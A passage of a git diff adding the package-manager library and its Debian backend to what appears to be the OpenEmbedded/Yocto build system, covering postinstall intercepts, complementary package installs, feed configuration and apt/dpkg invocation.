+ "x86_64": ["--uint32-align=4", "--little-endian"]
+ }
+ if target_arch in locale_arch_options:
+ arch_options = locale_arch_options[target_arch]
+ else:
+ bb.error("locale_arch_options not found for target_arch=" + target_arch)
+ bb.fatal("unknown arch:" + target_arch + " for locale_arch_options")
+
+ # Need to set this so cross-localedef knows where the archive is
+ env = dict(os.environ)
+ env["LOCALEARCHIVE"] = oe.path.join(localedir, "locale-archive")
+
+ for name in sorted(os.listdir(localedir)):
+ path = os.path.join(localedir, name)
+ if os.path.isdir(path):
+ cmd = ["cross-localedef", "--verbose"]
+ cmd += arch_options
+ cmd += ["--add-to-archive", path]
+ subprocess.check_output(cmd, env=env, stderr=subprocess.STDOUT)
+
+class Indexer(object, metaclass=ABCMeta):
+ def __init__(self, d, deploy_dir):
+ self.d = d
+ self.deploy_dir = deploy_dir
+
+ @abstractmethod
+ def write_index(self):
+ pass
+
+class PkgsList(object, metaclass=ABCMeta):
+ def __init__(self, d, rootfs_dir):
+ self.d = d
+ self.rootfs_dir = rootfs_dir
+
+ @abstractmethod
+ def list_pkgs(self):
+ pass
+
+class PackageManager(object, metaclass=ABCMeta):
+ """
+ This is an abstract class. Do not instantiate this directly.
+ """
+
+ def __init__(self, d, target_rootfs):
+ self.d = d
+ self.target_rootfs = target_rootfs
+ self.deploy_dir = None
+ self.deploy_lock = None
+ self._initialize_intercepts()
+
+ def _initialize_intercepts(self):
+ bb.note("Initializing intercept dir for %s" % self.target_rootfs)
+ # As there might be more than one instance of PackageManager operating at the same time
+ # we need to isolate the intercept_scripts directories from each other,
+ # hence the ugly hash digest in dir name.
+ self.intercepts_dir = os.path.join(self.d.getVar('WORKDIR'), "intercept_scripts-%s" %
+ (hashlib.sha256(self.target_rootfs.encode()).hexdigest()))
+
+ postinst_intercepts = (self.d.getVar("POSTINST_INTERCEPTS") or "").split()
+ if not postinst_intercepts:
+ postinst_intercepts_path = self.d.getVar("POSTINST_INTERCEPTS_PATH")
+ if not postinst_intercepts_path:
+ postinst_intercepts_path = self.d.getVar("POSTINST_INTERCEPTS_DIR") or self.d.expand("${COREBASE}/scripts/postinst-intercepts")
+ postinst_intercepts = oe.path.which_wild('*', postinst_intercepts_path)
+
+ bb.debug(1, 'Collected intercepts:\n%s' % ''.join(' %s\n' % i for i in postinst_intercepts))
+ bb.utils.remove(self.intercepts_dir, True)
+ bb.utils.mkdirhier(self.intercepts_dir)
+ for intercept in postinst_intercepts:
+ shutil.copy(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
+
+ @abstractmethod
+ def _handle_intercept_failure(self, failed_script):
+ pass
+
+ def _postpone_to_first_boot(self, postinst_intercept_hook):
+ with open(postinst_intercept_hook) as intercept:
+ registered_pkgs = None
+ for line in intercept.read().split("\n"):
+ m = re.match(r"^##PKGS:(.*)", line)
+ if m is not None:
+ registered_pkgs = m.group(1).strip()
+ break
+
+ if registered_pkgs is not None:
+ bb.note("If an image is being built, the postinstalls for the following packages "
+ "will be postponed for first boot: %s" %
+ registered_pkgs)
+
+ # call the backend dependent handler
+ self._handle_intercept_failure(registered_pkgs)
+
+
+ def run_intercepts(self, populate_sdk=None):
+ intercepts_dir = self.intercepts_dir
+
+ bb.note("Running intercept scripts:")
+ os.environ['D'] = self.target_rootfs
+ os.environ['STAGING_DIR_NATIVE'] = self.d.getVar('STAGING_DIR_NATIVE')
+ for script in os.listdir(intercepts_dir):
+ script_full = os.path.join(intercepts_dir, script)
+
+ if script == "postinst_intercept" or not os.access(script_full, os.X_OK):
+ continue
+
+ # we do not want to run any multilib variant of this
+ if script.startswith("delay_to_first_boot"):
+ self._postpone_to_first_boot(script_full)
+ continue
+
+ if populate_sdk == 'host' and self.d.getVar('SDK_OS') == 'mingw32':
+ bb.note("The postinstall intercept hook '%s' could not be executed due to missing wine support, details in %s/log.do_%s"
+ % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+ continue
+
+ bb.note("> Executing %s intercept ..." % script)
+
+ try:
+ output = subprocess.check_output(script_full, stderr=subprocess.STDOUT)
+ if output: bb.note(output.decode("utf-8"))
+ except subprocess.CalledProcessError as e:
+ bb.note("Exit code %d. Output:\n%s" % (e.returncode, e.output.decode("utf-8")))
+ if populate_sdk == 'host':
+ bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+ elif populate_sdk == 'target':
+ if "qemuwrapper: qemu usermode is not supported" in e.output.decode("utf-8"):
+ bb.note("The postinstall intercept hook '%s' could not be executed due to missing qemu usermode support, details in %s/log.do_%s"
+ % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+ else:
+ bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+ else:
+ if "qemuwrapper: qemu usermode is not supported" in e.output.decode("utf-8"):
+ bb.note("The postinstall intercept hook '%s' could not be executed due to missing qemu usermode support, details in %s/log.do_%s"
+ % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+ self._postpone_to_first_boot(script_full)
+ else:
+ bb.fatal("The postinstall intercept hook '%s' failed, details in %s/log.do_%s" % (script, self.d.getVar('T'), self.d.getVar('BB_CURRENTTASK')))
+
+ @abstractmethod
+ def update(self):
+ """
+ Update the package manager package database.
+ """
+ pass
+
+ @abstractmethod
+ def install(self, pkgs, attempt_only=False):
+ """
+ Install a list of packages. 'pkgs' is a list object. If 'attempt_only' is
+ True, installation failures are ignored.
+ """
+ pass
+
+ @abstractmethod
+ def remove(self, pkgs, with_dependencies=True):
+ """
+ Remove a list of packages. 'pkgs' is a list object. If 'with_dependencies'
+ is False, then any dependencies are left in place.
+ """
+ pass
+
+ @abstractmethod
+ def write_index(self):
+ """
+ This function creates the index files
+ """
+ pass
+
+ @abstractmethod
+ def remove_packaging_data(self):
+ pass
+
+ @abstractmethod
+ def list_installed(self):
+ pass
+
+ @abstractmethod
+ def extract(self, pkg):
+ """
+ Returns the path to a tmpdir where resides the contents of a package.
+ Deleting the tmpdir is responsability of the caller.
+ """
+ pass
+
+ @abstractmethod
+ def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
+ """
+ Add remote package feeds into repository manager configuration. The parameters
+ for the feeds are set by feed_uris, feed_base_paths and feed_archs.
+ See http://www.yoctoproject.org/docs/current/ref-manual/ref-manual.html#var-PACKAGE_FEED_URIS
+ for their description.
+ """
+ pass
+
+ def install_glob(self, globs, sdk=False):
+ """
+ Install all packages that match a glob.
+ """
+ # TODO don't have sdk here but have a property on the superclass
+ # (and respect in install_complementary)
+ if sdk:
+ pkgdatadir = self.d.getVar("PKGDATA_DIR_SDK")
+ else:
+ pkgdatadir = self.d.getVar("PKGDATA_DIR")
+
+ try:
+ bb.note("Installing globbed packages...")
+ cmd = ["oe-pkgdata-util", "-p", pkgdatadir, "list-pkgs", globs]
+ bb.note('Running %s' % cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ pkgs = stdout.decode("utf-8")
+ self.install(pkgs.split(), attempt_only=True)
+ except subprocess.CalledProcessError as e:
+ # Return code 1 means no packages matched
+ if e.returncode != 1:
+ bb.fatal("Could not compute globbed packages list. Command "
+ "'%s' returned %d:\n%s" %
+ (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+
+ def install_complementary(self, globs=None):
+ """
+ Install complementary packages based upon the list of currently installed
+ packages e.g. locales, *-dev, *-dbg, etc. Note: every backend needs to
+ call this function explicitly after the normal package installation.
+ """
+ if globs is None:
+ globs = self.d.getVar('IMAGE_INSTALL_COMPLEMENTARY')
+ split_linguas = set()
+
+ for translation in self.d.getVar('IMAGE_LINGUAS').split():
+ split_linguas.add(translation)
+ split_linguas.add(translation.split('-')[0])
+
+ split_linguas = sorted(split_linguas)
+
+ for lang in split_linguas:
+ globs += " *-locale-%s" % lang
+ for complementary_linguas in (self.d.getVar('IMAGE_LINGUAS_COMPLEMENTARY') or "").split():
+ globs += (" " + complementary_linguas) % lang
+
+ if globs is None:
+ return
+
+ # we need to write the list of installed packages to a file because the
+ # oe-pkgdata-util reads it from a file
+ with tempfile.NamedTemporaryFile(mode="w+", prefix="installed-pkgs") as installed_pkgs:
+ pkgs = self.list_installed()
+
+ provided_pkgs = set()
+ for pkg in pkgs.values():
+ provided_pkgs |= set(pkg.get('provs', []))
+
+ output = oe.utils.format_pkg_list(pkgs, "arch")
+ installed_pkgs.write(output)
+ installed_pkgs.flush()
+
+ cmd = ["oe-pkgdata-util",
+ "-p", self.d.getVar('PKGDATA_DIR'), "glob", installed_pkgs.name,
+ globs]
+ exclude = self.d.getVar('PACKAGE_EXCLUDE_COMPLEMENTARY')
+ if exclude:
+ cmd.extend(['--exclude=' + '|'.join(exclude.split())])
+ try:
+ bb.note('Running %s' % cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ complementary_pkgs = stdout.decode("utf-8")
+ complementary_pkgs = set(complementary_pkgs.split())
+ skip_pkgs = sorted(complementary_pkgs & provided_pkgs)
+ install_pkgs = sorted(complementary_pkgs - provided_pkgs)
+ bb.note("Installing complementary packages ... %s (skipped already provided packages %s)" % (
+ ' '.join(install_pkgs),
+ ' '.join(skip_pkgs)))
+ self.install(install_pkgs)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Could not compute complementary packages list. Command "
+ "'%s' returned %d:\n%s" %
+ (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+
+ if self.d.getVar('IMAGE_LOCALES_ARCHIVE') == '1':
+ target_arch = self.d.getVar('TARGET_ARCH')
+ localedir = oe.path.join(self.target_rootfs, self.d.getVar("libdir"), "locale")
+ if os.path.exists(localedir) and os.listdir(localedir):
+ generate_locale_archive(self.d, self.target_rootfs, target_arch, localedir)
+ # And now delete the binary locales
+ self.remove(fnmatch.filter(self.list_installed(), "glibc-binary-localedata-*"), False)
+
+ def deploy_dir_lock(self):
+ if self.deploy_dir is None:
+ raise RuntimeError("deploy_dir is not set!")
+
+ lock_file_name = os.path.join(self.deploy_dir, "deploy.lock")
+
+ self.deploy_lock = bb.utils.lockfile(lock_file_name)
+
+ def deploy_dir_unlock(self):
+ if self.deploy_lock is None:
+ return
+
+ bb.utils.unlockfile(self.deploy_lock)
+
+ self.deploy_lock = None
+
+ def construct_uris(self, uris, base_paths):
+ """
+ Construct URIs based on the following pattern: uri/base_path where 'uri'
+ and 'base_path' correspond to each element of the corresponding array
+ argument leading to len(uris) x len(base_paths) elements on the returned
+ array
+ """
+ def _append(arr1, arr2, sep='/'):
+ res = []
+ narr1 = [a.rstrip(sep) for a in arr1]
+ narr2 = [a.rstrip(sep).lstrip(sep) for a in arr2]
+ for a1 in narr1:
+ if arr2:
+ for a2 in narr2:
+ res.append("%s%s%s" % (a1, sep, a2))
+ else:
+ res.append(a1)
+ return res
+ return _append(uris, base_paths)
+
+def create_packages_dir(d, subrepo_dir, deploydir, taskname, filterbydependencies):
+ """
+ Go through our do_package_write_X dependencies and hardlink the packages we depend
+ upon into the repo directory. This prevents us seeing other packages that may
+ have been built that we don't depend upon and also packages for architectures we don't
+ support.
+ """
+ import errno
+
+ taskdepdata = d.getVar("BB_TASKDEPDATA", False)
+ mytaskname = d.getVar("BB_RUNTASK")
+ pn = d.getVar("PN")
+ seendirs = set()
+ multilibs = {}
+
+ bb.utils.remove(subrepo_dir, recurse=True)
+ bb.utils.mkdirhier(subrepo_dir)
+
+ # Detect bitbake -b usage
+ nodeps = d.getVar("BB_LIMITEDDEPS") or False
+ if nodeps or not filterbydependencies:
+ oe.path.symlink(deploydir, subrepo_dir, True)
+ return
+
+ start = None
+ for dep in taskdepdata:
+ data = taskdepdata[dep]
+ if data[1] == mytaskname and data[0] == pn:
+ start = dep
+ break
+ if start is None:
+ bb.fatal("Couldn't find ourself in BB_TASKDEPDATA?")
+ pkgdeps = set()
+ start = [start]
+ seen = set(start)
+ # Support direct dependencies (do_rootfs -> do_package_write_X)
+ # or indirect dependencies within PN (do_populate_sdk_ext -> do_rootfs -> do_package_write_X)
+ while start:
+ next = []
+ for dep2 in start:
+ for dep in taskdepdata[dep2][3]:
+ if taskdepdata[dep][0] != pn:
+ if "do_" + taskname in dep:
+ pkgdeps.add(dep)
+ elif dep not in seen:
+ next.append(dep)
+ seen.add(dep)
+ start = next
+
+ for dep in pkgdeps:
+ c = taskdepdata[dep][0]
+ manifest, d2 = oe.sstatesig.find_sstate_manifest(c, taskdepdata[dep][2], taskname, d, multilibs)
+ if not manifest:
+ bb.fatal("No manifest generated from: %s in %s" % (c, taskdepdata[dep][2]))
+ if not os.path.exists(manifest):
+ continue
+ with open(manifest, "r") as f:
+ for l in f:
+ l = l.strip()
+ deploydir = os.path.normpath(deploydir)
+ if bb.data.inherits_class('packagefeed-stability', d):
+ dest = l.replace(deploydir + "-prediff", "")
+ else:
+ dest = l.replace(deploydir, "")
+ dest = subrepo_dir + dest
+ if l.endswith("/"):
+ if dest not in seendirs:
+ bb.utils.mkdirhier(dest)
+ seendirs.add(dest)
+ continue
+ # Try to hardlink the file, copy if that fails
+ destdir = os.path.dirname(dest)
+ if destdir not in seendirs:
+ bb.utils.mkdirhier(destdir)
+ seendirs.add(destdir)
+ try:
+ os.link(l, dest)
+ except OSError as err:
+ if err.errno == errno.EXDEV:
+ bb.utils.copyfile(l, dest)
+ else:
+ raise
+
+
+def generate_index_files(d):
+ from oe.package_manager.rpm import RpmSubdirIndexer
+ from oe.package_manager.ipk import OpkgIndexer
+ from oe.package_manager.deb import DpkgIndexer
+
+ classes = d.getVar('PACKAGE_CLASSES').replace("package_", "").split()
+
+ indexer_map = {
+ "rpm": (RpmSubdirIndexer, d.getVar('DEPLOY_DIR_RPM')),
+ "ipk": (OpkgIndexer, d.getVar('DEPLOY_DIR_IPK')),
+ "deb": (DpkgIndexer, d.getVar('DEPLOY_DIR_DEB'))
+ }
+
+ result = None
+
+ for pkg_class in classes:
+ if not pkg_class in indexer_map:
+ continue
+
+ if os.path.exists(indexer_map[pkg_class][1]):
+ result = indexer_map[pkg_class][0](d, indexer_map[pkg_class][1]).write_index()
+
+ if result is not None:
+ bb.fatal(result)
diff --git a/meta/lib/oe/package_manager/deb/__init__.py b/meta/lib/oe/package_manager/deb/__init__.py
new file mode 100644
index 0000000000..9f112ae25b
--- /dev/null
+++ b/meta/lib/oe/package_manager/deb/__init__.py
@@ -0,0 +1,503 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import subprocess
+from oe.package_manager import *
+
+class DpkgIndexer(Indexer):
+ def _create_configs(self):
+ bb.utils.mkdirhier(self.apt_conf_dir)
+ bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "lists", "partial"))
+ bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "apt.conf.d"))
+ bb.utils.mkdirhier(os.path.join(self.apt_conf_dir, "preferences.d"))
+
+ with open(os.path.join(self.apt_conf_dir, "preferences"),
+ "w") as prefs_file:
+ pass
+ with open(os.path.join(self.apt_conf_dir, "sources.list"),
+ "w+") as sources_file:
+ pass
+
+ with open(self.apt_conf_file, "w") as apt_conf:
+ with open(os.path.join(self.d.expand("${STAGING_ETCDIR_NATIVE}"),
+ "apt", "apt.conf.sample")) as apt_conf_sample:
+ for line in apt_conf_sample.read().split("\n"):
+ line = re.sub(r"#ROOTFS#", "/dev/null", line)
+ line = re.sub(r"#APTCONF#", self.apt_conf_dir, line)
+ apt_conf.write(line + "\n")
+
+ def write_index(self):
+ self.apt_conf_dir = os.path.join(self.d.expand("${APTCONF_TARGET}"),
+ "apt-ftparchive")
+ self.apt_conf_file = os.path.join(self.apt_conf_dir, "apt.conf")
+ self._create_configs()
+
+ os.environ['APT_CONFIG'] = self.apt_conf_file
+
+ pkg_archs = self.d.getVar('PACKAGE_ARCHS')
+ if pkg_archs is not None:
+ arch_list = pkg_archs.split()
+ sdk_pkg_archs = self.d.getVar('SDK_PACKAGE_ARCHS')
+ if sdk_pkg_archs is not None:
+ for a in sdk_pkg_archs.split():
+ if a not in pkg_archs:
+ arch_list.append(a)
+
+ all_mlb_pkg_arch_list = (self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS') or "").split()
+ arch_list.extend(arch for arch in all_mlb_pkg_arch_list if arch not in arch_list)
+
+ apt_ftparchive = bb.utils.which(os.getenv('PATH'), "apt-ftparchive")
+ gzip = bb.utils.which(os.getenv('PATH'), "gzip")
+
+ index_cmds = []
+ deb_dirs_found = False
+ for arch in arch_list:
+ arch_dir = os.path.join(self.deploy_dir, arch)
+ if not os.path.isdir(arch_dir):
+ continue
+
+ cmd = "cd %s; PSEUDO_UNLOAD=1 %s packages . > Packages;" % (arch_dir, apt_ftparchive)
+
+ cmd += "%s -fcn Packages > Packages.gz;" % gzip
+
+ with open(os.path.join(arch_dir, "Release"), "w+") as release:
+ release.write("Label: %s\n" % arch)
+
+ cmd += "PSEUDO_UNLOAD=1 %s release . >> Release" % apt_ftparchive
+
+ index_cmds.append(cmd)
+
+ deb_dirs_found = True
+
+ if not deb_dirs_found:
+ bb.note("There are no packages in %s" % self.deploy_dir)
+ return
+
+ oe.utils.multiprocess_launch(create_index, index_cmds, self.d)
+ if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
+ raise NotImplementedError('Package feed signing not implementd for dpkg')
+
+class PMPkgsList(PkgsList):
+
+ def list_pkgs(self):
+ cmd = [bb.utils.which(os.getenv('PATH'), "dpkg-query"),
+ "--admindir=%s/var/lib/dpkg" % self.rootfs_dir,
+ "-W"]
+
+ cmd.append("-f=Package: ${Package}\nArchitecture: ${PackageArch}\nVersion: ${Version}\nFile: ${Package}_${Version}_${Architecture}.deb\nDepends: ${Depends}\nRecommends: ${Recommends}\nProvides: ${Provides}\n\n")
+
+ try:
+ cmd_output = subprocess.check_output(cmd, stderr=subprocess.STDOUT).strip().decode("utf-8")
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Cannot get the installed packages list. Command '%s' "
+ "returned %d:\n%s" % (' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+
+ return opkg_query(cmd_output)
+
+class OpkgDpkgPM(PackageManager):
+ def __init__(self, d, target_rootfs):
+ """
+ This is an abstract class. Do not instantiate this directly.
+ """
+ super(OpkgDpkgPM, self).__init__(d, target_rootfs)
+
+ def package_info(self, pkg, cmd):
+ """
+ Returns a dictionary with the package info.
+
+ This method extracts the common parts for Opkg and Dpkg
+ """
+
+ try:
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to list available packages. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+ return opkg_query(output)
+
+ def extract(self, pkg, pkg_info):
+ """
+ Returns the path to a tmpdir where resides the contents of a package.
+
+ Deleting the tmpdir is responsability of the caller.
+
+ This method extracts the common parts for Opkg and Dpkg
+ """
+
+ ar_cmd = bb.utils.which(os.getenv("PATH"), "ar")
+ tar_cmd = bb.utils.which(os.getenv("PATH"), "tar")
+ pkg_path = pkg_info[pkg]["filepath"]
+
+ if not os.path.isfile(pkg_path):
+ bb.fatal("Unable to extract package for '%s'."
+ "File %s doesn't exists" % (pkg, pkg_path))
+
+ tmp_dir = tempfile.mkdtemp()
+ current_dir = os.getcwd()
+ os.chdir(tmp_dir)
+ data_tar = 'data.tar.xz'
+
+ try:
+ cmd = [ar_cmd, 'x', pkg_path]
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
+ cmd = [tar_cmd, 'xf', data_tar]
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s" % (pkg_path, ' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+ except OSError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s at %s" % (pkg_path, ' '.join(cmd), e.errno, e.strerror, e.filename))
+
+ bb.note("Extracted %s to %s" % (pkg_path, tmp_dir))
+ bb.utils.remove(os.path.join(tmp_dir, "debian-binary"))
+ bb.utils.remove(os.path.join(tmp_dir, "control.tar.gz"))
+ os.chdir(current_dir)
+
+ return tmp_dir
+
+ def _handle_intercept_failure(self, registered_pkgs):
+ self.mark_packages("unpacked", registered_pkgs.split())
+
+class DpkgPM(OpkgDpkgPM):
+ def __init__(self, d, target_rootfs, archs, base_archs, apt_conf_dir=None, deb_repo_workdir="oe-rootfs-repo", filterbydependencies=True):
+ super(DpkgPM, self).__init__(d, target_rootfs)
+ self.deploy_dir = oe.path.join(self.d.getVar('WORKDIR'), deb_repo_workdir)
+
+ create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_DEB"), "package_write_deb", filterbydependencies)
+
+ if apt_conf_dir is None:
+ self.apt_conf_dir = self.d.expand("${APTCONF_TARGET}/apt")
+ else:
+ self.apt_conf_dir = apt_conf_dir
+ self.apt_conf_file = os.path.join(self.apt_conf_dir, "apt.conf")
+ self.apt_get_cmd = bb.utils.which(os.getenv('PATH'), "apt-get")
+ self.apt_cache_cmd = bb.utils.which(os.getenv('PATH'), "apt-cache")
+
+ self.apt_args = d.getVar("APT_ARGS")
+
+ self.all_arch_list = archs.split()
+ all_mlb_pkg_arch_list = (self.d.getVar('ALL_MULTILIB_PACKAGE_ARCHS') or "").split()
+ self.all_arch_list.extend(arch for arch in all_mlb_pkg_arch_list if arch not in self.all_arch_list)
+
+ self._create_configs(archs, base_archs)
+
+ self.indexer = DpkgIndexer(self.d, self.deploy_dir)
+
+ def mark_packages(self, status_tag, packages=None):
+ """
+ This function will change a package's status in /var/lib/dpkg/status file.
+ If 'packages' is None then the new_status will be applied to all
+ packages
+ """
+ status_file = self.target_rootfs + "/var/lib/dpkg/status"
+
+ with open(status_file, "r") as sf:
+ with open(status_file + ".tmp", "w+") as tmp_sf:
+ if packages is None:
+ tmp_sf.write(re.sub(r"Package: (.*?)\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)",
+ r"Package: \1\n\2Status: \3%s" % status_tag,
+ sf.read()))
+ else:
+ if type(packages).__name__ != "list":
+ raise TypeError("'packages' should be a list object")
+
+ status = sf.read()
+ for pkg in packages:
+ status = re.sub(r"Package: %s\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)" % pkg,
+ r"Package: %s\n\1Status: \2%s" % (pkg, status_tag),
+ status)
+
+ tmp_sf.write(status)
+
+ bb.utils.rename(status_file + ".tmp", status_file)
+
+ def run_pre_post_installs(self, package_name=None):
+ """
+ Run the pre/post installs for package "package_name". If package_name is
+ None, then run all pre/post install scriptlets.
+ """
+ info_dir = self.target_rootfs + "/var/lib/dpkg/info"
+ ControlScript = collections.namedtuple("ControlScript", ["suffix", "name", "argument"])
+ control_scripts = [
+ ControlScript(".preinst", "Preinstall", "install"),
+ ControlScript(".postinst", "Postinstall", "configure")]
+ status_file = self.target_rootfs + "/var/lib/dpkg/status"
+ installed_pkgs = []
+
+ with open(status_file, "r") as status:
+ for line in status.read().split('\n'):
+ m = re.match(r"^Package: (.*)", line)
+ if m is not None:
+ installed_pkgs.append(m.group(1))
+
+ if package_name is not None and not package_name in installed_pkgs:
+ return
+
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['INTERCEPT_DIR'] = self.intercepts_dir
+ os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
+
+ for pkg_name in installed_pkgs:
+ for control_script in control_scripts:
+ p_full = os.path.join(info_dir, pkg_name + control_script.suffix)
+ if os.path.exists(p_full):
+ try:
+ bb.note("Executing %s for package: %s ..." %
+ (control_script.name.lower(), pkg_name))
+ output = subprocess.check_output([p_full, control_script.argument],
+ stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note(output)
+ except subprocess.CalledProcessError as e:
+ bb.warn("%s for package %s failed with %d:\n%s" %
+ (control_script.name, pkg_name, e.returncode,
+ e.output.decode("utf-8")))
+ failed_postinsts_abort([pkg_name], self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
+
+ def update(self):
+ os.environ['APT_CONFIG'] = self.apt_conf_file
+
+ self.deploy_dir_lock()
+
+ cmd = "%s update" % self.apt_get_cmd
+
+ try:
+ subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to update the package index files. Command '%s' "
+ "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
+
+ self.deploy_dir_unlock()
+
+ def install(self, pkgs, attempt_only=False):
+ if attempt_only and len(pkgs) == 0:
+ return
+
+ os.environ['APT_CONFIG'] = self.apt_conf_file
+
+ cmd = "%s %s install --allow-downgrades --allow-remove-essential --allow-change-held-packages --allow-unauthenticated --no-remove %s" % \
+ (self.apt_get_cmd, self.apt_args, ' '.join(pkgs))
+
+ try:
+ bb.note("Installing the following packages: %s" % ' '.join(pkgs))
+ output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ bb.note(output.decode("utf-8"))
+ except subprocess.CalledProcessError as e:
+ (bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
+ "Command '%s' returned %d:\n%s" %
+ (cmd, e.returncode, e.output.decode("utf-8")))
+
+ # rename *.dpkg-new files/dirs
+ for root, dirs, files in os.walk(self.target_rootfs):
+ for dir in dirs:
+ new_dir = re.sub(r"\.dpkg-new", "", dir)
+ if dir != new_dir:
+ bb.utils.rename(os.path.join(root, dir),
+ os.path.join(root, new_dir))
+
+ for file in files:
+ new_file = re.sub(r"\.dpkg-new", "", file)
+ if file != new_file:
+ bb.utils.rename(os.path.join(root, file),
+ os.path.join(root, new_file))
+
+
+ def remove(self, pkgs, with_dependencies=True):
+ if not pkgs:
+ return
+
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['INTERCEPT_DIR'] = self.intercepts_dir
+
+ if with_dependencies:
+ os.environ['APT_CONFIG'] = self.apt_conf_file
+ cmd = "%s purge %s" % (self.apt_get_cmd, ' '.join(pkgs))
+ else:
+ cmd = "%s --admindir=%s/var/lib/dpkg --instdir=%s" \
+ " -P --force-depends %s" % \
+ (bb.utils.which(os.getenv('PATH'), "dpkg"),
+ self.target_rootfs, self.target_rootfs, ' '.join(pkgs))
+
+ try:
+ subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to remove packages. Command '%s' "
+ "returned %d:\n%s" % (e.cmd, e.returncode, e.output.decode("utf-8")))
+
+ def write_index(self):
+ self.deploy_dir_lock()
+
+ result = self.indexer.write_index()
+
+ self.deploy_dir_unlock()
+
+ if result is not None:
+ bb.fatal(result)
+
+ def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
+ if feed_uris == "":
+ return
+
+
+ sources_conf = os.path.join("%s/etc/apt/sources.list"
+ % self.target_rootfs)
+ if not os.path.exists(os.path.dirname(sources_conf)):
+ return
+
+ arch_list = []
+
+ if feed_archs is None:
+ for arch in self.all_arch_list:
+ if not os.path.exists(os.path.join(self.deploy_dir, arch)):
+ continue
+ arch_list.append(arch)
+ else:
+ arch_list = feed_archs.split()
+
+ feed_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
+
+ with open(sources_conf, "w+") as sources_file:
+ for uri in feed_uris:
+ if arch_list:
+ for arch in arch_list:
+ bb.note('Adding dpkg channel at (%s)' % uri)
+ sources_file.write("deb [trusted=yes] %s/%s ./\n" %
+ (uri, arch))
+ else:
+ bb.note('Adding dpkg channel at (%s)' % uri)
+ sources_file.write("deb [trusted=yes] %s ./\n" % uri)
+
+ def _create_configs(self, archs, base_archs):
+ base_archs = re.sub(r"_", r"-", base_archs)
+
+ if os.path.exists(self.apt_conf_dir):
+ bb.utils.remove(self.apt_conf_dir, True)
+
+ bb.utils.mkdirhier(self.apt_conf_dir)
+ bb.utils.mkdirhier(self.apt_conf_dir + "/lists/partial/")
+ bb.utils.mkdirhier(self.apt_conf_dir + "/apt.conf.d/")
+ bb.utils.mkdirhier(self.apt_conf_dir + "/preferences.d/")
+
+ arch_list = []
+ for arch in self.all_arch_list:
+ if not os.path.exists(os.path.join(self.deploy_dir, arch)):
+ continue
+ arch_list.append(arch)
+
+ with open(os.path.join(self.apt_conf_dir, "preferences"), "w+") as prefs_file:
+ priority = 801
+ for arch in arch_list:
+ prefs_file.write(
+ "Package: *\n"
+ "Pin: release l=%s\n"
+ "Pin-Priority: %d\n\n" % (arch, priority))
+
+ priority += 5
+
+ pkg_exclude = self.d.getVar('PACKAGE_EXCLUDE') or ""
+ for pkg in pkg_exclude.split():
+ prefs_file.write(
+ "Package: %s\n"
+ "Pin: release *\n"
+ "Pin-Priority: -1\n\n" % pkg)
+
+ arch_list.reverse()
+
+ with open(os.path.join(self.apt_conf_dir, "sources.list"), "w+") as sources_file:
+ for arch in arch_list:
